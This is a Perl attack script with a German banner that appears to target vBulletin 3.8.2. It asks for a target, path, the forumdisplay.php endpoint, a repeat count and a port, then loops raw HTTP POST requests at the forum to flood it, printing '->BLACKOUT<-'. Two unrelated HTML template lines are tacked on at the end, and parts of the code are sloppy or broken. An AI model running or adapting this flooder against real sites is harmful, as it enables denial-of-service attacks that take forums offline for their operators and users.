##################################################  ######################
# Modules                    #
##################################################  ######################
use IO::SOCKET;           # Object interface                           #
##################################################  ######################
if (@ARGV<1){
print"
##################################################  ######################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                    ##
##################################################  ######################
##################################################  ######################
##                    ##                    ##
##->vBulletin® Version 3.8.2<-    ##                    ##
##                    ##                    ##
##Gebe diese Daten an             ##                    ##
##1.Ziel                          ##[*] [url]www.Ziel.com[/url]                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
##################################################  ######################
\a";}
$block = "
##################################################  ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
      print"$block\n";
      print q(Ziel->);
      chomp($ziel =<STDIN>);
      if ($ziel eq""){
      die "$fehler\a\n";}
      print"$block\n";
        print"$block\n";
        print q(Path->);
        chomp($path =<STDIN>);
        if ($path eq "") {
        die "$fehler !\a\n";}
        print"$block\n";
           print"$block\n";
           print "Verwundbarkeit\n";
           print"forumdisplay.php?f=\n";
           print"->n";
             chomp($vul =<STDIN>);
             if ($vul eq "") {
             die "$fehler !\a\n";}
             print"$block\n";
                print"$block\n";
                print q(Time->);
                chomp($flood =<STDIN>);
                if ($flood eq "") {
                die "$fehler !\a\n";}
                   print"$block\n";
                   print"$block\n";
                   print q(Port->);
                   chomp($port =<STDIN>);
                   if ($port eq ""){
                   die "$fehler \n";}
                   print"$block\n";
                      print q(Send "start"->);
                      chomp($start =<STDIN>);
                      if ($start eq "") {
                      die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                    PeerAddr => "$ziel",
                    PeerPort => "$port",
                    Proto => "tcp",
                    );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

<img src='{param}' style='border-width:5px;border-color:red;border-style:outset;' />

<a href={option} style=border-width:5px;border-color:red;border-style:outset;>{param}</a>